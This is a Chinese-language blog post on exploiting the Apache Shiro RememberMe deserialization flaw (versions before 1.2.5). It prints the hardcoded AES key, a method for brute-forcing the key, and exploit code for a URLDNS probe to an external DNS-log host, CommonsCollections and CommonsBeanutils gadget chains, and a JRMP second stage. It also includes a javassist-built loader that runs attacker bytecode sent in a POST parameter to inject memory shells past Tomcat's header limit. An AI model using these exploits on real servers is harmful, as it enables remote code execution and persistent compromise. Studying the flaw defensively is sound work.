本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏。
基础知识
组件
Shiro有三大核心组件,即Subject、SecurityManager 和 Realm
- Subject: 认证主体。Subject代表了当前的用户。包含Principals和Credentials两个信息。
 - SecurityManager:安全管理员。是Shiro架构的核心。与Subject的所有交互都会委托给SecurityManager,它负责与Shiro 的其他组件进行交互。
 - Realm:域。Shiro从Realm中获取安全数据(如用户、角色、权限),就是说SecurityManager要验证用户身份,那么它需要从Realm中获取相应的用户进行比较,来确定用户的身份是否合法
 
一些概念:
- Authentication: 身份认证、登录,验证用户是不是拥有相应的身份;
 - Authorization:鉴权,验证某个已认证的用户是否拥有某个权限
 - Session Manager: 会话管理
 - Cryptography: 加密,保护数据的安全性
 - Concurrency: Shiro支持多线程应用的并发验证,即,如在一个线程中开启另一个线程,能把权限自动的传播过去
 - Remember Me:会话保存
 
配置
web.xml,shiro通过filter进行注入。
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"
         version="2.5">
    <listener>
        <listener-class>org.apache.shiro.web.env.EnvironmentLoaderListener</listener-class>
    </listener>
    <filter>
        <filter-name>ShiroFilter</filter-name>
        <filter-class>org.apache.shiro.web.servlet.ShiroFilter</filter-class>
    </filter>
    <filter-mapping>
        <filter-name>ShiroFilter</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>
    <welcome-file-list>
        <welcome-file>index.jsp</welcome-file>
    </welcome-file-list>
</web-app>
shiro.ini用于配置具体权限
[main]
shiro.loginUrl = /login.jsp
[users]
# format: username = password, role1, role2, ..., roleN
root = secret,admin
guest = guest,guest
presidentskroob = 12345,president
darkhelmet = ludicrousspeed,darklord,schwartz
lonestarr = vespa,goodguy,schwartz
[roles]
# format: roleName = permission1, permission2, ..., permissionN
admin = *
schwartz = lightsaber:*
goodguy = winnebago:drive:eagle5
[urls]
/login.jsp = authc
/logout = logout
/account/** = authc
/remoting/** = authc, roles[b2bClient], perms["remote:invoke:lan,wan"]
漏洞分析
影响版本为 shiro 1.x < 1.2.5
接口 org.apache.shiro.mgt.RememberMeManager定义了getRememberedPrincipals方法用于在指定上下文中找到记住的 principals,也就是 RememberMe 的功能。
public interface RememberMeManager {
    PrincipalCollection getRememberedPrincipals(SubjectContext var1);
    void forgetIdentity(SubjectContext var1);
    void onSuccessfulLogin(Subject var1, AuthenticationToken var2, AuthenticationInfo var3);
    void onFailedLogin(Subject var1, AuthenticationToken var2, AuthenticationException var3);
    void onLogout(Subject var1);
}
AbstractRememberMeManager是RememberMeManager的一个抽象实现类
其实现的getRememberedPrincipals方法代码如下:
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
    PrincipalCollection principals = null;
    try {
        byte[] bytes = this.getRememberedSerializedIdentity(subjectContext);
        if (bytes != null && bytes.length > 0) {
            principals = this.convertBytesToPrincipals(bytes, subjectContext);
        }
    } catch (RuntimeException var4) {
        principals = this.onRememberedPrincipalFailure(var4, subjectContext);
    }
    return principals;
}
会调用getRememberedSerializedIdentity获取序列化的principals,CookieRememberMeManager类实现了这个方法,代码如下:
protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {
        .............
            HttpServletRequest request = WebUtils.getHttpRequest(wsc);
            HttpServletResponse response = WebUtils.getHttpResponse(wsc);
            String base64 = this.getCookie().readValue(request, response);
            if ("deleteMe".equals(base64)) {
                return null;
            } else if (base64 != null) {
                base64 = this.ensurePadding(base64);
                if (log.isTraceEnabled()) {
                    log.trace("Acquired Base64 encoded identity [" + base64 + "]");
                }
                byte[] decoded = Base64.decode(base64);
                if (log.isTraceEnabled()) {
                    log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
                }
                return decoded;
            } else {
                return null;
            }
        }
    }
}
获取Cookie中rememberMe字段的值并base64解码,传给AbstractRememberMeManager#convertBytesToPrincipals方法。代码如下:
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
    if (this.getCipherService() != null) {
        bytes = this.decrypt(bytes);
    }
    return this.deserialize(bytes);
}
先进行解密再反序列化。
加解密相关代码定义在AbstractRememberMeManager类中,使用AES-128-CBC算法。

KEY硬编码在AbstractRememberMeManager中。
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
触发DNSLOG:
public class Exp {
    public static void main(String[] args) throws Exception{
        URLDNS urldns = new URLDNS();
        Object expobj = urldns.getObject("http://log.c37af96d-ec4e-43e4-8bd3-3c347d9eb7b8.dnshook.site");
        System.out.println(ser(expobj));
    }
    public static byte[] encrypt(byte[] data, byte[] key) {
        CipherService cipherService = new AesCipherService();
        ByteSource byteSource = cipherService.encrypt(data, key);
        byte[] value = byteSource.getBytes();
        return value;
    }
    public static String ser(Object obj) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(obj);
        objectOutputStream.close();
        byte[] encrypted = encrypt(byteArrayOutputStream.toByteArray(), Base64.decode(KEY));
        return Base64.encodeToString(encrypted);
    }
Key检测
当序列化payload使用错误的Key的时候,AbstractRememberMeManager#decrypt解密会报错,然后调用forgetIdentity方法,然后会调用removeFrom方法,会给返回包加上rememberMe=deleteMecookie。
所以在爆破Key的时候当返回包没有rememberMe=deleteMe时就证明Key正确。
反序列化利用链
CC链改造
但shiro反序列化时 ClassResolvingObjectInputStream 为 shiro 框架实现的自定义类
在使用一些 Gadget 如 CC6 时会报错:Unable to load clazz named [[Lorg.apache.commons.collections.Transformer;]
如果反序列化流中包含非 Java 自身的数组(非String[], byte[]等),则会出现无法加载类的错误。
让InvokerTransformer直接调用TemplatesImpl的newTransformer方法。代码如下:
public class Exp {
    public static void main(String[] args) throws Exception{
        Templates templates = new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",new byte[][]{getEvilClass()});
        setFieldValue(templates,"_class",null);
        setFieldValue(templates,"_name","asd");
        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
        HashMap<Object, Object> map = new HashMap<Object, Object>();
        Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
        HashMap<Object, Object> map2 = new HashMap<Object, Object>();
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, templates);
        map2.put(tiedMapEntry, "bbb");
        map.remove(templates);
        setFieldValue(lazymap, "factory", invokerTransformer);
        System.out.println(ser(map2));
    }
}
commons-collections:4.0依赖的CC2可以直接用,但CC4不能用
除此之外还有一种通过Predicate和Closure的方法
CB链改造
BeanComparator默认使用org.apache.commons.collections.comparators.ComparableComparator。在没有CC依赖时会报错。
CB链是要调用BeanComparator#compare方法:
public int compare(Object o1, Object o2) {
    if (this.property == null) {
        return this.comparator.compare(o1, o2);
    } else {
        try {
            Object value1 = PropertyUtils.getProperty(o1, this.property);
            Object value2 = PropertyUtils.getProperty(o2, this.property);
            return this.comparator.compare(value1, value2);
        } catch (IllegalAccessException var5) {
            throw new RuntimeException("IllegalAccessException: " + var5.toString());
        } catch (InvocationTargetException var6) {
            throw new RuntimeException("InvocationTargetException: " + var6.toString());
        } catch (NoSuchMethodException var7) {
            throw new RuntimeException("NoSuchMethodException: " + var7.toString());
        }
    }
}
然后调用PropertyUtils.getProperty触发getter。
触发点在this.comparator.compare(value1, value2);前面,所以将ComparableComparator替换,甚至设为null也不会有影响。
POC:
public class Exp {
    public static void main(String[] argss) throws Exception{
        Templates templates = new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",new byte[][]{getEvilClass()});
        setFieldValue(templates,"_class",null);
        setFieldValue(templates,"_name","asd");
        final BeanComparator comparator = new BeanComparator("lowestSetBit");
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        queue.add(new BigInteger("1"));
        queue.add(new BigInteger("1"));
        setFieldValue(comparator, "comparator", null);
        setFieldValue(comparator, "property", "outputProperties");
        final Object[] queueArray = (Object[]) getFieldValue(queue, "queue");
        queueArray[0] = templates;
        queueArray[1] = templates;
        System.out.println(ser(queue));
    }
}
RMI反序列化
二次反序列化思路,既然这里的反序列化禁止了非Java 自身的数组得反序列化,那通过RMI反序列化再次触发原生反序列化即可。
用ysoserial.payloads.JRMPClient触发RMI连接,本地用ysoserial.exploits.JRMPListener监听连接然后发送CC1序列化数据。
POC:
public class Exp {
    public static void main(String[] args) throws Exception{
        String host = "127.0.0.1";
        int port = 1234;
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
                Registry.class
        }, obj);
        System.out.println(ser(proxy));
        CommonsCollections1 commonsCollections1 = new CommonsCollections1();
        Object expobj = commonsCollections1.getObject("calc");
        JRMPListener jrmpListener = new JRMPListener(1234, expobj);
        jrmpListener.run();
    }
}
绕过Header长度限制
POST传参
Tomcat默认限制Header不能超过8192字节。
在org.apache.coyote.http11.AbstractHttp11Protocol定义了:

org.apache.coyote.http11.Http11InputBuffer#fill方法会检测是否超过限制。
private boolean fill(boolean block) throws IOException {
    if (log.isTraceEnabled()) {
        log.trace("Before fill(): parsingHeader: [" + this.parsingHeader + "], parsingRequestLine: [" + this.parsingRequestLine + "], parsingRequestLinePhase: [" + this.parsingRequestLinePhase + "], parsingRequestLineStart: [" + this.parsingRequestLineStart + "], byteBuffer.position(): [" + this.byteBuffer.position() + "], byteBuffer.limit(): [" + this.byteBuffer.limit() + "], end: [" + this.end + "]");
    }
    if (this.parsingHeader) {
        if (this.byteBuffer.limit() >= this.headerBufferSize) {
            if (this.parsingRequestLine) {
                this.request.protocol().setString("HTTP/1.1");
            }
            throw new IllegalArgumentException(sm.getString("iib.requestheadertoolarge.error"));
        }
    } else {
        this.byteBuffer.limit(this.end).position(this.end);
    }
尝试反序列化部分和要加载的字节码分离,反序列化TemplatesImpl执行代码,从POST参数中获取base64编码的java字节码,然后调用defineClass加载。用javassist直接生成的java字节码比javac编译出来的体积小很多。POST传参的数据长度不限。
public class Exp {
    public static void main(String[] argss) throws Exception{
        Templates templates = new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",new byte[][]{generate()});
        setFieldValue(templates,"_class",null);
        setFieldValue(templates,"_name","asd");
        AttrCompare attrCompare = new AttrCompare();
        final BeanComparator comparator = new BeanComparator("lowestSetBit");
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        queue.add(new BigInteger("1"));
        queue.add(new BigInteger("1"));
        setFieldValue(comparator, "comparator", null);
        setFieldValue(comparator, "property", "outputProperties");
        final Object[] queueArray = (Object[]) getFieldValue(queue, "queue");
        queueArray[0] = templates;
        queueArray[1] = templates;
        System.out.println("序列化数据:");
        System.out.println(ser(queue));
        System.out.println("\n\n字节码:");
        System.out.println(Base64.encodeToString(getPayloadClass()));
    }
    public static byte[] generate() throws Exception{
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Injector2");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody("......");
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }
}
通过javassist生成类的构造函数代码,修改自Tomcat Echo:
{
    ThreadGroup group = Thread.currentThread().getThreadGroup();
    java.lang.reflect.Field f = null;
    Thread[] threads = null;
    try{
        f = group.getClass().getDeclaredField("threads");
        f.setAccessible(true);
        threads = (Thread[]) f.get(group);
    } catch(Exception e){}
    for(int i = 0; i < threads.length; i++) {
        try{
            Thread t = threads[i];
            if (t == null) continue;
            String str = t.getName();
            if (str.contains("exec") || !str.contains("http")) continue;
            f = t.getClass().getDeclaredField("target");
            f.setAccessible(true);
            Object obj = f.get(t);
            if (!(obj instanceof Runnable)) continue;
            f = obj.getClass().getDeclaredField("this$0");
            f.setAccessible(true);obj = f.get(obj);
            try{
                f = obj.getClass().getDeclaredField("handler");
            }catch (NoSuchFieldException e){
                f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler");
            }
            f.setAccessible(true);
            obj = f.get(obj);
            try{
                f = obj.getClass().getSuperclass().getDeclaredField("global");
            }catch(NoSuchFieldException e){
                f = obj.getClass().getDeclaredField("global");
            }
            f.setAccessible(true);
            obj = f.get(obj);
            f = obj.getClass().getDeclaredField("processors");
            f.setAccessible(true);
            java.util.List processors = (java.util.List)(f.get(obj));
            for(int j = 0; j < processors.size(); ++j) {
                Object processor = processors.get(j);
                f = processor.getClass().getDeclaredField("req");
                f.setAccessible(true);
                Object req = f.get(processor);
                Object note = req.getClass().getDeclaredMethod("getNote", new Class[]{int.class}).invoke(req, new Object[]{Integer.valueOf(1)});
                String base64encoded = (String) note.getClass().getDeclaredMethod("getParameter", new Class[]{String.class}).invoke(note, new Object[]{"data"});
                if (base64encoded == null) {
                    continue;
                }
                byte[] code = org.apache.shiro.codec.Base64.decode(base64encoded);
                ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
                if (classLoader == null) {
                    classLoader = ClassLoader.getSystemClassLoader();
                }
                try {
                    java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});
                    defineClassMethod.setAccessible(true);
                    Class expClass = null;
                    try{
                        expClass = Class.forName("Payload");  // 方便多次加载
                    } catch (Exception e){
                        expClass = (Class) defineClassMethod.invoke(classLoader, new Object[]{code, Integer.valueOf(0), Integer.valueOf(code.length)});
                    }
                    expClass.newInstance();
                } catch (Exception e){
                    e.printStackTrace();
                }
            }
        } catch (Exception e){
        }
    }
}
最终header中的payload长度为4736,可以绕过长度限制。
POST data参数传Payload类的base64编码后的字节码。
javassist生成代码有一些神奇的报错,比如数字需要用Integer.valueOf包一下,还有就是POST传参的base64 payload需要url编码。
将内存马注入器写到无参构造函数里,编译然后Base64编码,POST传参即可
分段传输
可以将payload分成多段,先分段把payload保存在服务器上,然后再加载。
输出到文件
将字节码分段写入/tmp目录下,写完之后再最后读取加载,这种会有文件落地,不多说了。
写入系统配置
代码System.setProperty("payload","");可以写入java系统配置。
分段写入后,读取加载即可:
System.getProperty("payload");
参考
https://su18.org/post/shiro-5/